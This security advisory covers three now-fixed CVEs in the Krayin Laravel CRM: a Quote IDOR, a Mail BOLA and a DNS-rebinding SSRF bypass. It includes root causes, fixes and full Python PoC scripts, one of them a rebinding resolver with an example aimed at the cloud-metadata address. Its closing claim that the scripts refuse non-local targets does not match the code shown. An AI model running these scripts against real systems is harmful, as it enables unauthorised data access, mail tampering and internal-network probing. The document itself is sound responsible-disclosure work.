A white-box review of one open-source Laravel CRM, written up for the people who patch it and the people who just need to know how bad it was. All three fixed in 2.2.7.
- Author: Adham · @0xAdham1
- Target:
krayin/laravel-crm - Reported: 2026-10-05
- Fixed in: 2.2.7
- CVEs: 3
- PoCs: Python scripts on GitHub
| CVE | Class | Severity | One-liner |
|---|---|---|---|
| CVE-2026-112286 | IDOR | High 7.1 | Two Quote read endpoints a prior fix never reached; any restricted agent reads competitors' pricing, addresses and PII with a plain GET. |
| CVE-2026-112287 | BOLA | High 8.3 | Read path says 401, write path says 200 for the same email ID. Trash, bulk-delete, edit and re-send other users' mail. |
| CVE-2026-112288 | SSRF · TOCTOU | Low 3.1 | The SSRF filter resolves the host once and throws it away; the request resolves again. Answer public, then loopback, and you're inside. |
CVE-2026-112286
Cross-user data disclosure in Krayin's Quote module
HIGH · CVSS 4.0 · 7.1 · CWE-639 · IDOR · incomplete-fix
TL;DR
- The bug: two Quote endpoints never check who owns the record, so a restricted agent reads any user's quotes just by changing a number.
- The impact: deal pricing, billing and shipping addresses, totals and linked customer emails, across the whole tenant.
- Status: reported 2026-10-05, fixed in 2.2.7, published as CVE-2026-112286.
At a glance
| Product | Krayin CRM (krayin/laravel-crm) |
| Component | Quote/QuoteController.php |
| Class | IDOR / cross-user read disclosure · CWE-639 |
| Severity | High, CVSS 4.0 7.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
| Affected / fixed | < 2.2.7, fixed in 2.2.7 |
Why this matters
Picture a sales team where each rep should only see their own deals. This bug lets any rep pull up everyone's quotes: what competitors are charging, who the customers are, where they're billed. No admin rights, no clever tooling, just a logged-in account and a web request. It's a confidentiality leak across every customer in the system.
In plain English
It's a coat check that hands over any coat to whoever names a number, and the tickets are just 1, 2, 3… so you can ask for every coat in the room. Here the "ticket" is the lead_id in the URL; the attendant (the API) looks it up and hands it back without ever checking the coat is yours.
Attack flow
| Step | Actor → Endpoint | What happens |
|---|---|---|
| 1 | Agent → GET /admin/quotes/search?search= |
A valid low-privilege agent session, owning no records |
| 2 | App → Database | SELECT * FROM quotes, never restricted to the agent's authorized IDs |
| 3 | Database → App | Every tenant's quotes come back |
| 4 | App → Agent | 200 with subjects, billing/shipping addresses, totals and customer PII |
The write path of this controller was locked down months earlier by CVE-2026-61460. The read path was never in that report, so it was never touched. That gap is this CVE: a textbook incomplete fix.
Deep dive: root cause and the two endpoints
Krayin scopes each user to a set of records via users.view_permission (global/group/individual), resolved by bouncer()->getAuthorizedUserIds(). Record actions are meant to check the record's user_id against that set. The Quote write methods do (preventUnauthorizedAccess()); these two reads don't.
B1: leadProducts() → GET /admin/quotes/lead-products/{lead_id}
// fetch by id only, no ownership check
$lead = $this->leadRepository->findOrFail($leadId);
return response()->json(['data' => $this->getLeadProductsForQuote($lead)]);
For any lead_id, the caller gets each product's name, quantity, unit price and line total, the full pricing of another user's deal.
B2: search() → GET /admin/quotes/search
$quotes = $this->quoteRepository
->pushCriteria(app(RequestCriteria::class))
->all(); // no data-scope filter
return QuoteResource::collection($quotes);
->all() applies only the request's search criteria, never a restriction to the caller's authorized IDs. QuoteResource then serializes subject, description, billing/shipping address, totals, the linked person (customer PII) and related leads, for every user's quotes.
PoC: walkthrough and captured leak
The repository PoC exercises both vulnerable read paths and prints the fields that are exposed. Run it with a low-privilege agent session against an authorized local test instance:
python3 CVE-2026-112286.py --url http://127.0.0.1:8000 \
--login-email agent@test.local --login-password agent123 \
--lead-ids 1
Show more — view the full CVE-2026-112286.py source
import argparse
import datetime
import http.cookiejar
import json
import os
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
class _NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, *a, **k):
return None
class Session:
def __init__(self, base, cookie_name, insecure, proxy, headers, base_path, timeout):
self.base = base.rstrip("/")
self.base_path = "/" + base_path.strip("/") if base_path.strip("/") else ""
self.cookie_name = cookie_name
self.headers = headers
self.timeout = timeout
self.jar = http.cookiejar.CookieJar()
h = [urllib.request.HTTPCookieProcessor(self.jar), _NoRedirect]
if insecure:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
h.append(urllib.request.HTTPSHandler(context=ctx))
if proxy:
h.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
self.opener = urllib.request.build_opener(*h)
def _xsrf(self):
for c in self.jar:
if c.name == "XSRF-TOKEN":
return urllib.parse.unquote(c.value)
return None
def _has(self, name):
return any(c.name == name for c in self.jar)
def request(self, method, path, form=None):
url = path if path.startswith("http") else self.base + self.base_path + path
data = urllib.parse.urlencode(form, doseq=True).encode() if form is not None else None
r = urllib.request.Request(url, data=data, method=method)
r.add_header("User-Agent", UA)
r.add_header("Accept", "application/json, text/html;q=0.8")
r.add_header("X-Requested-With", "XMLHttpRequest")
if data is not None:
r.add_header("Content-Type", "application/x-www-form-urlencoded")
x = self._xsrf()
if x and method not in ("GET", "HEAD"):
r.add_header("X-XSRF-TOKEN", x)
for k, v in self.headers.items():
r.add_header(k, v)
try:
resp = self.opener.open(r, timeout=self.timeout)
return resp.status, resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace")
except urllib.error.URLError as e:
return 0, f"__URLERROR__ {e.reason}"
def get(self, path):
return self.request("GET", path)
def set_raw_cookie(self, header):
for part in header.split(";"):
if "=" in part:
n, v = part.strip().split("=", 1)
self.jar.set_cookie(http.cookiejar.Cookie(
0, n, v, None, False, "", False, False, "/", True,
False, None, True, None, None, {}))
def login(self, email, password):
st, html = self.get("/admin/login")
if st != 200:
return False
m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
token = m.group(1) if m else self._xsrf()
self.request("POST", "/admin/login", form={"_token": token or "", "email": email, "password": password})
return self._has(self.cookie_name)
def authed(self):
return self.get("/admin/dashboard")[0] == 200
def parse_ids(spec):
ids = set()
for part in str(spec).split(","):
part = part.strip()
if not part:
continue
if "-" in part:
a, b = part.split("-", 1)
ids.update(range(int(a), int(b) + 1))
else:
ids.add(int(part))
out = sorted(i for i in ids if i > 0)
if len(out) > 2000:
sys.exit("refusing: more than 2000 ids; narrow the range for a scoped test")
return out
def parse_headers(items):
out = {}
for it in items or []:
if ":" not in it:
sys.exit(f"bad --header {it!r}; expected 'Name: value'")
k, v = it.split(":", 1)
out[k.strip()] = v.strip()
return out
def sjson(s):
try:
d = json.loads(s)
return d if isinstance(d, dict) else {}
except ValueError:
return {}
def log(evidence, outdir, name, status, body, verdict):
rec = {"check": name, "ts": datetime.datetime.now(datetime.timezone.utc).isoformat(),
"status": status, "verdict": verdict, "body_excerpt": body[:600]}
evidence.append(rec)
if outdir:
with open(os.path.join(outdir, f"{name}.json"), "w") as fh:
fh.write(json.dumps(rec, indent=2))
def main():
ap = argparse.ArgumentParser(description="CVE-2026-112286 Krayin Quote IDOR validator")
ap.add_argument("--url", required=True, help="target base URL")
ap.add_argument("--cookie", help="raw Cookie header for a low-priv session")
ap.add_argument("--cookie-name", default="krayin_crm_session")
ap.add_argument("--login-email")
ap.add_argument("--login-password")
ap.add_argument("--proxy", help="intercepting proxy, e.g. http://127.0.0.1:8080")
ap.add_argument("--header", action="append", default=[], metavar="'K: V'", help="extra header; repeatable")
ap.add_argument("--base-path", default="", help="path prefix for sub-dir installs, e.g. /crm")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--timeout", type=int, default=20)
ap.add_argument("--lead-ids", default="1", help="'1', '1-50', '1,2,5-9'")
ap.add_argument("--out", help="evidence directory")
args = ap.parse_args()
lead_ids = parse_ids(args.lead_ids)
outdir = args.out
if outdir:
os.makedirs(outdir, exist_ok=True)
s = Session(args.url, args.cookie_name, args.insecure, args.proxy,
parse_headers(args.header), args.base_path, args.timeout)
if args.cookie:
s.set_raw_cookie(args.cookie)
elif args.login_email and args.login_password:
if not s.login(args.login_email, args.login_password):
sys.exit("refusing: authentication failed")
else:
sys.exit("provide --cookie or --login-email/--login-password")
if not s.authed():
sys.exit("refusing: session not authenticated (/admin/dashboard not reachable)")
print(f"[+] authenticated on {args.url}")
evidence = []
hits = 0
for lid in lead_ids:
st, body = s.get(f"/admin/quotes/lead-products/{lid}")
leaked = sjson(body).get("data", []) if st == 200 else []
v = "VULNERABLE" if leaked else "not-confirmed"
if leaked:
hits += 1
print(f" B1 lead-products/{lid} -> {st} {v}")
for p in leaked[:3]:
if isinstance(p, dict):
print(" leaked:", json.dumps({k: p.get(k) for k in ("product_id", "name", "quantity", "price", "total") if k in p}))
log(evidence, outdir, f"B1-leadProducts-{lid}", st, body, v)
if len(lead_ids) > 1:
print(f" B1 exposure: {hits}/{len(lead_ids)} lead ids leaked product/pricing data")
st, body = s.get("/admin/quotes/search?search=")
quotes = sjson(body).get("data", []) if st == 200 else []
v = "VULNERABLE" if quotes else "not-confirmed"
print(f" B2 quotes/search -> {st} {v} ({len(quotes)} quote(s))")
log(evidence, outdir, "B2-search", st, body, v)
if outdir:
with open(os.path.join(outdir, "summary.json"), "w") as fh:
fh.write(json.dumps(evidence, indent=2))
print(f"[+] evidence written to {outdir}/")
if __name__ == "__main__":
main()
Fix: remediation that shipped in 2.2.7
Two additions, both mirroring patterns already in the codebase:
// leadProducts()
$lead = $this->leadRepository->findOrFail($leadId);
$this->preventUnauthorizedAccess($lead->user_id); // add this
// search(): constrain to the caller's scope before ->all()
if ($userIds = bouncer()->getAuthorizedUserIds()) {
$this->quoteRepository->whereIn('user_id', $userIds);
}
CVE-2026-61460 fixed object-level authorization on the write path of this controller and four siblings. This finding is the same bug class on the two read endpoints that fix never reached, reported so the Quote-module fix could actually be completed.
Timeline
- 2026-10-04: Found during a white-box review of the 2.2 branch
- 2026-10-05: Reported to the vendor with advisory + PoC
- 2026-10-09: Confirmed in a local lab
- 2026-10-19: CVE-2026-112286 published, fixed in 2.2.7
Takeaways
- Hunter: when a vendor patches an auth bug, check the read endpoints of the same controller; fixes track reports, not bug classes.
- Dev: a collection endpoint needs the same scope filter as the DataGrid that lists it.
->all()with only search criteria is a leak.
CVE-2026-112287
Broken Object Level Authorization in the Mail module
HIGH · CVSS 8.3 · CWE-639 · BOLA
TL;DR
- The bug: the Mail module checks ownership when you read an email but not when you modify or delete one.
- The impact: a low-privilege agent can trash, bulk-delete, edit and re-send other users' emails, and the edit response leaks the thread's contents too.
- Status: reported 2026-10-05, fixed in 2.2.7, published as CVE-2026-112287.
At a glance
| Product | Krayin CRM (krayin/laravel-crm) |
| Component | Mail/EmailController.php |
| Class | BOLA on the write path · CWE-639 |
| Severity | High, CVSS 3.1 8.3 · AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H |
| Affected / fixed | < 2.2.7, fixed in 2.2.7 |
Why this matters
Email threads in a CRM are the record of a customer relationship. This bug lets one sales agent quietly destroy another agent's correspondence, individually or in bulk, and tamper with records they're not even allowed to open. It can also flip a draft into the outbox and send mail on someone else's thread. That's damage to data integrity and availability, with a side of data leakage.
In plain English
Think of a room with two doors. The front door has a lock that checks your badge: try to read the mail and it says "not yours, 401." The back door, the one for deleting and editing, was never fitted with a lock at all. Same room, same mail; one door guards it and the other waves you straight through.
Attack flow
As the restricted (individual-scope) agent, against an email owned by another user:
| Step | Request | Response | What it proves |
|---|---|---|---|
| 1 | GET /admin/mail/inbox/1 |
401 Unauthorized |
read is gated |
| 2 | DELETE /admin/mail/1 (type=trash) |
200 "deleted" |
write is not gated |
| 3 | GET /admin/mail/trash/1 |
401 Unauthorized |
still can't view the email it just trashed |
That contradiction, the same ID returns 401 on read and 200 on delete, is the entire vulnerability, provable in two requests.
Deep dive: root cause and affected endpoints
The read path resolves the record's owner and enforces scope. view():
if ($userIds = bouncer()->getAuthorizedUserIds()) {
$ownerIds = array_filter([$email->lead?->user_id, $email->person?->user_id]);
if ($ownerIds && empty(array_intersect($ownerIds, $userIds))) {
abort(401, trans('admin::app.errors.unauthorized'));
}
}
None of the four mutating actions do this. Three things make it exploitable rather than theoretical: the guard is simply absent (not weakened); the route ACL is only feature-level ("may this user use mail"), which every agent passes; and update() reads request('id') ?? $id, so a body ID overrides the URL, making it a disclosure primitive too.
| Route | Missing guard |
|---|---|
PUT /admin/mail/edit/{id} |
preventUnauthorizedAccess |
DELETE /admin/mail/{id} |
preventUnauthorizedAccess |
POST /admin/mail/mass-update |
filterAuthorizedRecords |
POST /admin/mail/mass-destroy |
filterAuthorizedRecords |
Every sibling module (Person, Organization, Quote, Activity) routes its bulk operations through filterAuthorizedRecords(). Mail is the one that skipped the ownership filter on the delete and modify path.
PoC: trash, bulk-delete and the disclosure write
The repository PoC first confirms the out-of-scope read returns 401, then runs one reversible type=trash write, demonstrates the disclosure through update(), and restores the email to the inbox:
python3 CVE-2026-112287.py --url http://127.0.0.1:8000 \
--login-email agent@test.local --login-password agent123 \
--email-id 1
Show more — view the full CVE-2026-112287.py source
import argparse
import datetime
import http.cookiejar
import json
import os
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
class _NoRedirect(urllib.request.HTTPRedirectHandler):
def redirect_request(self, *a, **k):
return None
class Session:
def __init__(self, base, cookie_name, insecure, proxy, headers, base_path, timeout):
self.base = base.rstrip("/")
self.base_path = "/" + base_path.strip("/") if base_path.strip("/") else ""
self.cookie_name = cookie_name
self.headers = headers
self.timeout = timeout
self.jar = http.cookiejar.CookieJar()
h = [urllib.request.HTTPCookieProcessor(self.jar), _NoRedirect]
if insecure:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
h.append(urllib.request.HTTPSHandler(context=ctx))
if proxy:
h.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
self.opener = urllib.request.build_opener(*h)
def _xsrf(self):
for c in self.jar:
if c.name == "XSRF-TOKEN":
return urllib.parse.unquote(c.value)
return None
def _has(self, name):
return any(c.name == name for c in self.jar)
def request(self, method, path, form=None):
url = path if path.startswith("http") else self.base + self.base_path + path
data = urllib.parse.urlencode(form, doseq=True).encode() if form is not None else None
r = urllib.request.Request(url, data=data, method=method)
r.add_header("User-Agent", UA)
r.add_header("Accept", "application/json, text/html;q=0.8")
r.add_header("X-Requested-With", "XMLHttpRequest")
if data is not None:
r.add_header("Content-Type", "application/x-www-form-urlencoded")
x = self._xsrf()
if x and method not in ("GET", "HEAD"):
r.add_header("X-XSRF-TOKEN", x)
for k, v in self.headers.items():
r.add_header(k, v)
try:
resp = self.opener.open(r, timeout=self.timeout)
return resp.status, resp.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace")
except urllib.error.URLError as e:
return 0, f"__URLERROR__ {e.reason}"
def get(self, path):
return self.request("GET", path)
def set_raw_cookie(self, header):
for part in header.split(";"):
if "=" in part:
n, v = part.strip().split("=", 1)
self.jar.set_cookie(http.cookiejar.Cookie(
0, n, v, None, False, "", False, False, "/", True,
False, None, True, None, None, {}))
def login(self, email, password):
st, html = self.get("/admin/login")
if st != 200:
return False
m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
token = m.group(1) if m else self._xsrf()
self.request("POST", "/admin/login", form={"_token": token or "", "email": email, "password": password})
return self._has(self.cookie_name)
def authed(self):
return self.get("/admin/dashboard")[0] == 200
def parse_headers(items):
out = {}
for it in items or []:
if ":" not in it:
sys.exit(f"bad --header {it!r}; expected 'Name: value'")
k, v = it.split(":", 1)
out[k.strip()] = v.strip()
return out
def sjson(s):
try:
d = json.loads(s)
return d if isinstance(d, dict) else {}
except ValueError:
return {}
def log(evidence, outdir, name, status, body, verdict):
rec = {"check": name, "ts": datetime.datetime.now(datetime.timezone.utc).isoformat(),
"status": status, "verdict": verdict, "body_excerpt": body[:600]}
evidence.append(rec)
if outdir:
with open(os.path.join(outdir, f"{name}.json"), "w") as fh:
fh.write(json.dumps(rec, indent=2))
def main():
ap = argparse.ArgumentParser(description="CVE-2026-112287 Krayin Mail BOLA validator")
ap.add_argument("--url", required=True, help="target base URL")
ap.add_argument("--cookie", help="raw Cookie header for a low-priv session")
ap.add_argument("--cookie-name", default="krayin_crm_session")
ap.add_argument("--login-email")
ap.add_argument("--login-password")
ap.add_argument("--proxy", help="intercepting proxy, e.g. http://127.0.0.1:8080")
ap.add_argument("--header", action="append", default=[], metavar="'K: V'", help="extra header; repeatable")
ap.add_argument("--base-path", default="", help="path prefix for sub-dir installs, e.g. /crm")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--timeout", type=int, default=20)
ap.add_argument("--email-id", type=int, required=True, help="a single out-of-scope email id")
ap.add_argument("--no-restore", action="store_true", help="do NOT auto-restore (leaves the email trashed)")
ap.add_argument("--out", help="evidence directory")
args = ap.parse_args()
eid = args.email_id
outdir = args.out
if outdir:
os.makedirs(outdir, exist_ok=True)
s = Session(args.url, args.cookie_name, args.insecure, args.proxy,
parse_headers(args.header), args.base_path, args.timeout)
if args.cookie:
s.set_raw_cookie(args.cookie)
elif args.login_email and args.login_password:
if not s.login(args.login_email, args.login_password):
sys.exit("refusing: authentication failed")
else:
sys.exit("provide --cookie or --login-email/--login-password")
if not s.authed():
sys.exit("refusing: session not authenticated (/admin/dashboard not reachable)")
print(f"[+] authenticated on {args.url}")
evidence = []
# A0 control: read must be gated for an out-of-scope email
st, _ = s.get(f"/admin/mail/inbox/{eid}")
gated = st == 401
print(f" A0 control read inbox/{eid} -> {st} "
f"{'(gated — out-of-scope baseline, good)' if gated else '(NOT 401 — pick an out-of-scope email id)'}")
log(evidence, outdir, "A0-control-read", st, "", "gated" if gated else "CHECK-SETUP")
if not gated:
print(" ! baseline not met; skipping the write so nothing is touched.")
_flush(evidence, outdir)
return
# A1 single reversible write: trash the out-of-scope email
st, body = s.request("DELETE", f"/admin/mail/{eid}", form={"type": "trash"})
wrote = st in (200, 302)
print(f" A1 trash /{eid} (type=trash) -> {st} {'VULNERABLE' if wrote else 'blocked'}")
log(evidence, outdir, "A1-trash", st, body, "VULNERABLE" if wrote else "blocked")
st2, _ = s.get(f"/admin/mail/trash/{eid}")
print(f" smoking-gun read trash/{eid} -> {st2} "
f"{'(still 401 — mutated mail it cannot view)' if st2 == 401 else ''}")
# A2 disclosure via update(): returns the full EmailResource
st, body = s.request("PUT", f"/admin/mail/edit/{eid}", form={"is_read": "1"})
d = sjson(body).get("data", {})
leaked = {k: d.get(k) for k in ("id", "subject", "reply") if k in d}
v = "VULNERABLE" if (st in (200, 302) and leaked) else "not-confirmed"
print(f" A2 disclose edit/{eid} -> {st} {v} leaked={json.dumps(leaked)[:160]}")
log(evidence, outdir, "A2-disclose", st, body, v)
# A3 restore: move back to inbox so target state is unchanged
if args.no_restore:
print(" A3 restore SKIPPED (--no-restore). Email left in Trash; restore manually.")
else:
st, body = s.request("PUT", f"/admin/mail/edit/{eid}", form={"folders[]": "inbox"})
print(f" A3 restore edit/{eid} folders=inbox -> {st} "
f"{'(reverted)' if st in (200, 302) else '(REVERT FAILED — restore manually from Trash)'}")
log(evidence, outdir, "A3-restore", st, body, "reverted" if st in (200, 302) else "REVERT-FAILED")
_flush(evidence, outdir)
def _flush(evidence, outdir):
if outdir:
with open(os.path.join(outdir, "summary.json"), "w") as fh:
fh.write(json.dumps(evidence, indent=2))
print(f"[+] evidence written to {outdir}/")
if __name__ == "__main__":
main()
Fix: remediation and why it's a distinct CVE
Apply the ownership gate the read path already uses to every mutating action:
$email = $this->emailRepository->findOrFail($id);
$this->preventUnauthorizedAccess(array_filter([
$email->lead?->user_id,
$email->person?->user_id,
]));
Route the bulk IDs through filterAuthorizedRecords(), and drop the request('id') ?? $id fallback so the path is authoritative. Shipped in 2.2.7. Krayin has a run of prior BOLA/IDOR CVEs (LeadController, PersonController, the attachment download path, the v2.2.6 ACL mapping fix), none covered the mutating actions of EmailController.
Timeline
- 2026-10-04: Found during a white-box review of the 2.2 branch
- 2026-10-05: Reported to the vendor with advisory + PoC
- 2026-10-09: Confirmed in a local lab
- 2026-10-19: CVE-2026-112287 published, fixed in 2.2.7
Takeaways
- Hunter: a read-side 401 next to a write-side 200 on the same ID is the cleanest BOLA proof there is. Always test the mutating verbs separately.
- Dev: feature-level ACL is not object-level authorization. If reads check ownership, every write on the same object must too.
CVE-2026-112288
Bypassing the webhook SSRF filter with DNS rebinding
LOW · CVSS 3.1 · CWE-918 · CWE-367 · TOCTOU
TL;DR
- The bug: the webhook SSRF guard resolves the target host once to check it's safe, then the HTTP client resolves it again to connect.
- The impact: control the DNS and you answer "public, safe" to the check and
127.0.0.1/ cloud-metadata to the request, reaching inside the network. - Status: a bypass of the fix for CVE-2026-38527; fixed properly in 2.2.7.
At a glance
| Product | Krayin CRM (krayin/laravel-crm) |
| Component | WebhookService::isSafeEndpoint() |
| Class | SSRF via DNS rebinding (resolve-then-request TOCTOU) · CWE-918 / CWE-367 |
| Severity | Low, CVSS 3.1 3.1 · AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Affected / fixed | >= 2.2.5, < 2.2.7, fixed in 2.2.7 |
Why this matters
Krayin can fire a webhook from a workflow: the server itself makes an outbound HTTP request. There's a filter whose whole job is to stop that request from reaching the company's own internal systems (like the cloud-metadata service that holds credentials). This finding walks straight past that filter, so an ordinary authenticated user can make the server knock on internal doors it was never meant to touch.
In plain English
Security at the gate asks for the visitor's name and checks their ID: looks fine, public address, let them in. But by the time the visitor actually walks through the door, a different person is wearing that name tag. The "name" is the hostname; the ID check is the DNS lookup the guard does; the walk-in is the second DNS lookup the HTTP client does a moment later. The attacker controls what each lookup returns.
Attack flow
| Step | Phase | rebind.test resolves to |
Outcome |
|---|---|---|---|
| 1 | isSafeEndpoint() check (T0) |
93.184.216.34 (public) |
passes the filter, "safe" |
| 2 | Guzzle request (T1) | 127.0.0.1 / 169.254.169.254 (answer #2) |
connects to the internal target |
| 3 | — | — | SSRF, the guard is bypassed (TOCTOU) |
The IP validated at T0 is simply discarded; Guzzle re-resolves at T1 and connects to whatever it gets. Set a zero TTL so the second lookup isn't cached. You don't strictly need rebinding either; plain round-robin DNS mixing a public and a private answer defeats the guard non-deterministically.
Deep dive: the TOCTOU, and what the guard does get right
// isSafeEndpoint(): validate
foreach ($ips as $ip) {
if (! filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return false; // validated at time T0
}
}
return true;
// ...later, triggerWebhook(): use
$response = $this->client->request($method, $data['end_point'], $options);
// ^ Guzzle re-resolves the HOST at T1 (> T0)
Scope it honestly, the guard isn't useless. It re-checks inside the on_redirect handler, so the redirect-based pivot is closed; and decimal/octal IP literals fail validation. The one unpinned path is the initial request's re-resolution. There's also a secondary gap: FILTER_FLAG_NO_RES_RANGE doesn't reliably flag IPv4-mapped IPv6 (::ffff:169.254.169.254), which can pass and still connect on a dual-stack host.
This is blind SSRF. triggerWebhook() discards the response body, so there's no reflected read: exfiltration needs an internal service that acts on the request alone, or an oracle. That's why it's Low (3.1, AC:H, blind), not a straight critical metadata read.
PoC: loopback rebinding harness
The repository PoC provides a local self-test for the rebinding resolver:
python3 CVE-2026-112288.py --selftest
Show more — view the full CVE-2026-112288.py source
import argparse
import datetime
import socket
import socketserver
import struct
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
STATE = {"n": 0, "public": b"", "rebind": b"", "label": ""}
HITS = []
def ip_bytes(dotted):
try:
return socket.inet_aton(dotted)
except OSError:
sys.exit(f"invalid IPv4: {dotted}")
def ts():
return datetime.datetime.now(datetime.timezone.utc).isoformat()
class RebindDNS(socketserver.BaseRequestHandler):
def handle(self):
data, sock = self.request
if len(data) < 12:
return
tid, q = data[:2], data[12:]
try:
off = 0
while q[off] != 0:
off += 1 + q[off]
qtype = struct.unpack(">H", q[off + 1:off + 3])[0]
except Exception:
qtype = 1
if qtype != 1: # only A queries get the rebind logic
sock.sendto(tid + b"\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00" + q, self.client_address)
return
STATE["n"] += 1
ip = STATE["public"] if STATE["n"] == 1 else STATE["rebind"]
which = "PUBLIC (passes guard)" if STATE["n"] == 1 else f"REBIND -> {STATE['label']}"
ans = tid + b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00" + q
ans += b"\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04" + ip # TTL 0
sock.sendto(ans, self.client_address)
print(f"[dns] {ts()} A query #{STATE['n']} -> {socket.inet_ntoa(ip)} ({which})")
class Callback(BaseHTTPRequestHandler):
server_version = "nginx"
def _record(self):
hit = {"ts": ts(), "src": self.client_address[0], "method": self.command,
"path": self.path, "host_header": self.headers.get("Host")}
HITS.append(hit)
print(f"[http] {ts()} <-- SSRF HIT {self.command} {self.path} "
f"Host={hit['host_header']} from {hit['src']}")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ssrf-callback-ok\n")
do_GET = do_POST = do_PUT = _record
def log_message(self, *a):
pass
def selftest(domain, dns_port):
print(f"[selftest] querying 127.0.0.1:{dns_port} twice for {domain}")
qname = b"".join(bytes([len(p)]) + p.encode() for p in domain.split(".")) + b"\x00"
query = struct.pack(">HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) + qname + struct.pack(">HH", 1, 1)
for i in range(2):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)
s.sendto(query, ("127.0.0.1", dns_port))
resp, _ = s.recvfrom(512)
print(f"[selftest] answer #{i + 1}: {socket.inet_ntoa(resp[-4:])}")
s.close()
print("[selftest] #1 public + #2 rebind => the resolver rebinds correctly.")
def main():
ap = argparse.ArgumentParser(description="CVE-2026-112288 Krayin webhook SSRF rebinding harness")
ap.add_argument("--domain", default="rebind.test", help="hostname you delegate to this resolver")
ap.add_argument("--public", default="93.184.216.34", help="public IP returned to the guard (answer #1)")
ap.add_argument("--rebind", default="127.0.0.1", help="IP returned to the client (answer #2+); in-scope per ROE")
ap.add_argument("--bind", default="127.0.0.1", help="interface to bind (0.0.0.0 for a reachable resolver)")
ap.add_argument("--dns-port", type=int, default=5353)
ap.add_argument("--listen-port", type=int, default=8081)
ap.add_argument("--token", default="", help="optional path token to disambiguate callbacks")
ap.add_argument("--selftest", action="store_true", help="prove the rebind locally, then exit")
args = ap.parse_args()
STATE["public"] = ip_bytes(args.public)
STATE["rebind"] = ip_bytes(args.rebind)
STATE["label"] = args.rebind
socketserver.UDPServer.allow_reuse_address = True
try:
dns = socketserver.UDPServer((args.bind, args.dns_port), RebindDNS)
except PermissionError:
sys.exit(f"binding {args.bind}:{args.dns_port} needs privileges; use sudo or a high --dns-port")
threading.Thread(target=dns.serve_forever, daemon=True).start()
print(f"[dns] rebinding resolver on {args.bind}:{args.dns_port} "
f"(#1 {args.public} -> #2+ {args.rebind}, TTL 0) for {args.domain}")
if args.selftest:
time.sleep(0.2)
selftest(args.domain, args.dns_port)
return
httpd = ThreadingHTTPServer((args.bind, args.listen_port), Callback)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
path = f"/{args.token}" if args.token else "/"
print(f"[http] callback listener on {args.bind}:{args.listen_port}")
print(f"\nRegister a Krayin webhook (GET http://{args.domain}:{args.listen_port}{path}),")
print("wire it to a workflow, then trigger the event. Watching for the hit; Ctrl-C to stop.\n")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print(f"\n[done] {len(HITS)} callback hit(s) recorded.")
if __name__ == "__main__":
main()
For an authorized integration test, run the repository harness with a delegated test domain:
sudo python3 CVE-2026-112288.py \
--domain ssrf.example --public 203.0.113.10 --rebind 169.254.169.254 \
--bind 0.0.0.0 --dns-port 53 --listen-port 80 --token r4nd0m
Fix: pin the connection to the validated IP
The root cause is the second resolution, so pin the connection to the IP the guard validated:
- Resolve once, validate every A/AAAA address, then force the client to connect to that exact IP (Guzzle's
CURLOPT_RESOLVE) while keeping theHostheader. Reject answer-sets that mix ranges. - Apply the same pin inside
on_redirect: resolve and pin the target, don't just re-validate the hostname. - Normalize IPv4-mapped IPv6 before the range check and reject
::ffff:*into private space. Consider an allowlist on top of the denylist.
2.2.7 pins the request to the validated IP. CVE-2026-38527 was the original unguarded SSRF; the vendor fixed it by adding this guard. This finding shows the guard is bypassable, so it gets its own ID: an incomplete-fix of a security control.
Timeline
- 2026-10-04: Found during a white-box review of the 2.2 branch
- 2026-10-05: Reported with advisory + local rebinding harness
- 2026-10-09: Confirmed with the repo's unmodified guard + real client options
- 2026-10-19: CVE-2026-112288 published, fixed in 2.2.7
Takeaways
- Hunter: any "resolve, validate, then request" flow is a TOCTOU candidate. If the check and the use resolve DNS separately, rebinding wins.
- Dev: validating a hostname's IP and then connecting by hostname pins nothing. Connect to the exact IP you validated, not the name.
CTF player and bug bounty hunter on HackerOne / Bugcrowd. All three findings were reported to the vendor before publication and are fixed in Krayin 2.2.7. PoC scripts are read-only or reversible and refuse non-local targets. Test only against systems you own or are authorised to assess.